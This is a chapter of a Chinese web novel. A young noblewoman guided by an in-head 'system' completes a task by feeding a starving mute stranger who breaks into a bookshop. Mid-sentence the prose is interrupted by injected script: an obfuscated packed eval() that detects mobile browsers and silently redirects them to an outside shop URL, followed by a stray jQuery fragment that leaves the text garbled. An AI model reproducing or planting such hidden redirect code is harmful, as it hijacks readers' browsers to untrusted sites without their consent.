一连三日,吕昭的系统任务都没完成。
不,也不该说她没完成。
这么多日,她叫管家救了好多个缺胳膊少腿的残障人士,但系统都没反应。
她表情肉眼可见的落寞。
总觉得……系统给的任务本就越来越少了,她还没用,完不成。
吕昭看见了,到底还是心疼自家妹妹。
觉得她在家中憋闷的时日长,便约上了隔壁楚国公府家的小公爷。
就是吕迢夫君的胞弟,一起去逛书坊。
这几日,吕昭可没少见人牙子送奴隶来。
要么是吕衡送,要么就是吕迢送,她一个都没要。
吕昭知道可以出去,大为开怀地早早换好一身明黄色的外衫,戴好繁复又漂亮的首饰。
一张脸瞧着白里透红,清透又好看。
三人在秦王府门口见了面,吕衡便与孙瑾上了同一辆马车。
吕昭穿衣打扮花了好久的心思。
上车时,小心翼翼提着裙子,在丫鬟的搀扶下,踩稳小凳。
刚要上去,却忽然瞥见远处的街角,有一个黑色的身影闪了一下。
像暗中潜行窥伺的狼。
她没当回事,只以为是有人影过去了。
众人都没注意,有个身影正无声地跟在后面。
马车在城中摇晃许久,才到了一条幽静的街巷。
梁国都城的书坊多的是读书人聚集,而在这时代,只有有钱人才能读得起书。
今日他们三人来的,便是上下两层的书楼,景色雅致,温润清雅的檀香自香炉之中袅袅而上。
前堂左右两边,甚至还有抱着琵琶弹奏,衣着单薄的男妓、女妓。
文人雅士多了,就连空气之中都飘着墨汁与纸张的味道。
等到了书坊,随口告别了正与人打招呼的吕衡,和面色稍显稚嫩的孙瑾。
吕昭便直接上了二楼。
楼上雅间内早早便备好了丰盛的茶点,和她常看的话本。
清幽的香气蕴在屋中,吕昭放松地晃了晃头,颈间的璎珞便跟着响动。
她喜欢晶亮的首饰,便经常佩戴,一出门身上经常叮叮当当的,有时就算在家,也要戴着。
丫鬟小厮都在外头候着,吕昭没什么形象,直接甩掉了鞋子,仰躺在桌案旁看书。
才刚翻完一卷,楼下忽然传来一声惊呼:
“啊!有个人攀墙上来了!”
紧接着,便是成串的小厮们焦急呼喊着‘抓人’、‘快抓住他’的脚步声。
吕昭看书看得太入迷,一时没听清喊的是什么。
不过听到喊声传来的方向是外头。
还是跟着凑热闹地站起了身。
无知无觉地一把推开房间的木窗。
“砰!”的一声。
眼前忽然被一片漆黑覆盖。
天旋地转之间,吕昭只觉后脑闷闷的痛,还带着灼烫,像是……砸到了谁的手掌心。
她瞪大眼睛,看着失控跌进来,压在她身上的人。
一张□□裂泥巴糊住的脸上,除了眼睛带着红血丝之外,什么都看不清。
这么宽阔又厚实的肩膀和手臂……还有护在她后脑的大掌,真的是人类能拥有的吗?
但是,等等,她的门外好像还有小厮。
吕昭身后的门忽然被人大力踹开,发出一声木头碎裂的哀鸣。
紧接着,吕衡暴喝一声,长剑嗡鸣着,直接横在了压着吕昭的人的脖颈上。
那人也被团团围上来的小厮们强行架了起来。
吕昭这才被扶起,得了松快。
刚刚,被那人厚实身子压得发闷的胸口,也渐渐回上了气。
也是直到这时,吕昭才看清楚将她扑倒在地的人,到底是个什么形象。
身上套着一件料子极好的黑色外衫,可却因太过合身,反倒显得局促紧窄,一身高高大大的站在她的对面。
吕昭要仰头瞧他才不费劲。
发丝枯槁,如蒲草般散乱,肌肤上含混着汗水与血液,肮脏又干涸的泥糊住整张脸。
除了手掌上卷起的那抹红,别的地方都是黑黢黢的。
沾染了血丝的眼睛,更是直勾勾地盯着她,唇角微动。
像只流浪狗。
吕昭缓了口气,抓住吕衡担忧握着她手臂的手,朝他摇头:
“我没事二哥。”
吕衡气恼极了,没想到他刚带自家妹妹出来放松,竟碰到这种事。
当即便沉了脸色,对小厮挥手:“快把这歹徒送去官府处置!”
攀墙强闯书坊,还扑倒了郡主殿下,送去官府属实不犯毛病。
但还没等小厮要将其扭送过去,那人似乎听懂了。
在众人眼皮子底下,那凶悍男人的身子忽然扭动。
一下便挣脱开身边四五个束缚着他的小厮。
瞧着几乎是没怎么用力,便将小厮们全都摔了出去。
在众人猝不及防间,那人迅速回身,一把夺过桌案上摆放精致的糕点盘。
并抓着盘子,一个跨步,便跑到了吕昭面前。
在她面前,故意将糕点往怀中一搂,手臂却高高抬起。
就在吕昭以为他要打她时。
那人却只是握拳,锤了锤大臂、胸膛,发出低沉的嘭嘭声。
动作莫名其妙。
但实在是吓到了吕衡,一个箭步,侧身挡在她面前,剑尖直指那人。
厉喝道:“放肆!退后!”
“来人,快护住郡主!”
吕昭被丫鬟和小厮们团团护住。
耳边敏锐听见外头看热闹的书生们正朝着这边指指点点。
书坊的管事也一边低头哈腰地软声讨饶赔着罪,一边呼唤书坊的护卫,要围上前去。
将众人对面的男人抓走。
这时,小厮们已经起身,又一次要去伸手捉住那男人。
结果小厮们依旧是被推开。
力道大得,简直令人发指。
吕昭见状,脑中结合着刚才瞧见这人做的动作,疯狂思索。
这人到底是什么意思?
抢了糕点,又敲手臂和胸口,还是对着她来的。
到底要干什么也不说……嘶,对啊,他怎么不说话?!
“你不会说话?”她诧异地问。
正躲避小厮纠缠的男人没空理会她,但怀中抱着的糕点却始终都没离开。
吕昭见状,连忙对小厮道:“你们都先退下,我有话要问他。”
吕衡:“小妹!他说不定是个疯的!”
吕昭朝他摇了摇头:“没事二哥,我瞧着他也没有要伤我的意思,就问几句话。”
吕衡将她拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940795|213912||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远了些:“那你站在这里问。”
小厮们也听话地退开。
到了这时,人群之中正喘着气,胸膛微微起伏的男人活动了下手臂。
吕昭的眼中多了几分恍悟,又一次问:“你会说话吗?”
男人搂紧糕点盘,布满大小伤口的手却在喉间比划了一下。
确实不会说话。
又一次,他重复地敲了敲手臂坚实的肌肉。
吕昭迷惑,实在不懂他到底是什么意思。
垂眸思索时,那边的人似乎已经等不及。
直接上前一步,当着她的面,往口中塞了一块雪白软糯的糕点。
又指了指吕昭,最后敲了敲他自己的臂膀。
一连串的动作结合在一起,再结合着其身上脏兮兮的打扮。
吕昭几乎顷刻间便明白了他的意思,不可置信地试探着问:
“你是想用你自己,换这盘糕点……”
这得饿成什么样。
男人动作顿了一下,似乎是要摇头,但最后还是点了头。
抬手又指了下吕昭。
吕昭没意会到,只是想,这下可不用迷惑了,心情顿时松懈大半。
挥手朝身后的小厮道:“去多买些干净的吃食来。”
几乎是同时,脑中的系统音便开始播报:【任务完成。
奖励已发放。】
吕昭挑了下眉。
解下腰间鼓囊的荷包,丢给眼神沉沉看着她的男人:
“我不要你的人,拿去好好学门手艺,好好生活。”
她能确定,荷包里的银子,足够面前的男人好好生活好几年。
这人帮了她完成系统任务,她感谢他。
一旁,吕衡见多了吕昭如此对待底下的人,等她说完,便对她道:“走,换个房间。”
书坊管事也连忙道:“郡主殿下,还请您挪步。”
吕昭没走,而是特意等着小厮将买回来的包子搁在男人面前时,这才转身。
她没注意,男人低头看着手中的包子,又看了看她的背影。
沉默又无言。
木门开阖关闭,仅留满室幽沉的檀香。
可他敏锐的耳朵,还是听到,屋外,有小厮正低声讨论着:
“郡主殿下可真是心善,那怪人身上都那么大的味了,竟然还不嫌弃。
还给那人那么多银子!”
“谁说不是呢,也不怕熏坏了屋里的书。”
“他可真是,走了大运了……”
吕昭对今日的小插曲并不在意,缩在隔壁小屋里看了很久的书。
临走时,没听见响声,这才发现颈间的璎珞不知何时遗失了。
系统:【没关系,我可以给你再发布一个小任务,赚回来。】
吕昭挑眉,忍不住问:“你还能暗箱操作?
说发任务就发任务,主系统愿意?”
系统:【发光的石头对我们数据没用,主系统会睁一只眼闭一只眼。】
吕昭:“哈哈哈哈哈!”
她觉得系统诡异的有些冷脸萌。
马车外,少年孙瑾对吕衡道:“走了,世子哥哥。
明日关决兄会来,你记得来找我们玩!”
吕昭在马车内,听到熟悉的称呼,下意识竖起耳朵。
关决,正是她颇有好感的小郎君!